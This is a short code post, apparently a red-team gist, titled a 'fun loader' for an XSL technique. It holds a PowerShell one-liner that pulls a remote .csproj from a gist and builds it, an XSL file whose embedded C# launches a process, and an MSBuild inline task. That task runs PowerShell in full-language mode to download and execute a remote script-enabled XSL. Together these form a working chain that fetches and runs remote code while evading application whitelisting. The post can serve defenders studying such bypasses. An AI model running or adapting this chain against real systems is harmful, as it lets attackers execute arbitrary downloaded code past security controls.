moriarty
5/28/2018 - 5:18 AM

Fun loader for Casey Smith's (@subTee) JanyAF.xsl

Fun loader for Casey Smith's (@subTee) JanyAF.xsl

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/37f256ca83b9e0246cefbcc9d4fc597f/raw/f80b578797ce28d680bbaf831fe8765062c08483/JankyAF.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"  
  xmlns:u="urn:my-scripts">  
    <!-- 	
	'<a/>' > blah.txt
	$xslt = New-Object System.Xml.Xsl.XslTransform
	$xslt.Load("$pwd\JankyAF.xsl");
	$xslt.Transform("$pwd\blah.txt","$pwd\blah.txt")
  -->
  <msxsl:script language="C#" implements-prefix="u">  
    <![CDATA[  
  public void BoomTown(){ System.Diagnostics.Process.Start("calc"); }  
  ]]>  
  </msxsl:script>  
  <xsl:template match="/">  
	<xsl:value-of select="u:BoomTown()"/>               
  </xsl:template>  
</xsl:stylesheet>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
     <Reference Include="c:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
     <!-- Your PowerShell Path May vary -->
      <Code Type="Class" Language="cs">
        <![CDATA[
            using System;
            using System.Reflection;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
             
            using System.Collections.ObjectModel;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;
            using System.Text;
                 
			public class ClassExample :  Task, ITask
            {
                public override bool Execute()
                {
                    //Console.WriteLine("Hello From a Class.");
                    Console.WriteLine(powaShell.RunPSCommand());
                    return true;
                }
            }

            //Based on Jared Atkinson's And Justin Warner's Work
            public class powaShell
            {
                public static string RunPSCommand()
                {
                                         
                    //Init stuff
                     
                    InitialSessionState iss = InitialSessionState.CreateDefault();
                    iss.LanguageMode = PSLanguageMode.FullLanguage;
                    Runspace runspace = RunspaceFactory.CreateRunspace(iss);
                    runspace.Open();
                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
                    Pipeline pipeline = runspace.CreatePipeline();
                     
                    //Interrogate LockDownPolicy
                    //Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());                
                     
                     
                     
                    //Add commands
                    pipeline.Commands.AddScript("$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/caseysmithrc/2a1f1e3ef0a86ea85b7b32cfb5d72de4/raw/f8b3544a737eacf89915a85ff8ee0735febcc9d8/JankyAF.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/caseysmithrc/2a1f1e3ef0a86ea85b7b32cfb5d72de4/raw/f8b3544a737eacf89915a85ff8ee0735febcc9d8/JankyAF.xsl','z');del z;");
 
                    //Prep PS for string output and invoke
                    //pipeline.Commands.Add("Out-String");
                    Collection<PSObject> results = pipeline.Invoke();
                    runspace.Close();
 
                    //Convert records to strings
                    StringBuilder stringBuilder = new StringBuilder();
                    foreach (PSObject obj in results)
                    {
                        stringBuilder.Append(obj);
                    }
                    return stringBuilder.ToString().Trim();       
                }
            }
                             
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>